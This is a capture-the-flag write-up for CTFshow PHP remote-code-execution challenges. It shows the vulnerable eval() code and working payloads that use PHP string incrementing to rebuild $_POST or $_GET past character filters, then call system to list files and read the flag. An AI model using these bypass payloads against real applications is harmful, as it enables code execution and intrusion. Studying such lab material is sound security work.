CTFshow RCE Extreme Challenge Solutions

Challenge 1 screenshot
Direct use echo with backticks. First ls, then tac to read the flag.
Flag reading

Challenge 2

Challenge 2 filter

The filter is quite restrictive. One effective method is the character increment bypass. A small script can enumerate which characters are allowed:

for ($c = 32; $c < 127; $c++) {
   if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", chr($c))) {
       echo chr($c) . "  ";
   }
}

The only usable characters are: ! $ ' ( ) + , . / ; = [ ] _. By constructing an array string and leveraging increment operations, it's possible to build $_GET and pass arbitrary commands.

$a = []._;
$b = $a[!$a];         // 'A'
$b++; $b++; $b++;     // 'D'
$c = ++$b;            // 'E'
++$b;                 // 'F'
$c = ++$b . $c;       // 'G' . 'E' = 'GE'
++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; // push to needed char
$c = $c . ++$b;       // append 'T' to get "GET"
$get = '_' . $c;
$$get[_]($$get[__]);

GET payload
Flag obtained

Challenge 3

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
   $ctfshow = $_POST['ctf_show'];
   if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
       if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
           eval($ctfshow);
       }else{
           echo("Are you hacking me AGAIN?");
       }
   }else{
       phpinfo();
   }
}
?>

Same increment technique, but with a tighter length limit. Construct _POST using NAN_ and incrementing.

$a = (0/0)._;      // 'NAN_'
$p = $a[0];        // 'N'
$q = ++$p;         // 'O'
$p++;              // 'P'
$q = $p . $q;      // 'PO'
$p++; $p++; $p++;  // 'S'
$q = $q . $p++;    // 'POS' and $p becomes 'T'
$post = '_' . $q . $p; // '_POST'
$$post[0]($$post[1]);

Send the payload with additional POST parameters:

$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*

Root directory listing
Use tac /f* to read the flag.

Challenge 4

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
   $ctfshow = $_POST['ctf_show'];
   if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
       if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
           eval($ctfshow);
       }else{
           echo("Are you hacking me AGAIN?");
       }
   }else{
       phpinfo();
   }
}

Even stricter: max length 84, only digit 0 is allowed from numbers. Build _POST in fewer steps.

$a = (0/_._)[0];    // 'N'
$b = ++$a;          // 'O'
$c = '_' . ++$b . $a++; // '_PO'  (a becomes 'P')
$a++; $a++;          // a becomes 'R'
$post = $c . ++$a . ++$a; // '_POST'
$$post[0]($$post[_]);

Execute with parameters: &0=system&_=cat /flag (or &_=ls / first).

Challenge 5

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
   $ctfshow = $_POST['ctf_show'];
   if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
       if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
           eval($ctfshow);
       }else{
           echo("Are you hacking me AGAIN?");
       }
   }else{
       phpinfo();
   }
}

Length reduced to 73, and the digit 0 is also forbidden. Crafting a workable payload under these restrictions requires additional tricks; the official write-up provides a detailed solutoin (ref: CTFshow docs).

Tags: CTF PHP RCE code-injection increment-bypass

Posted on Wed, 15 Jul 2026 16:55:59 +0000 by Ellypsys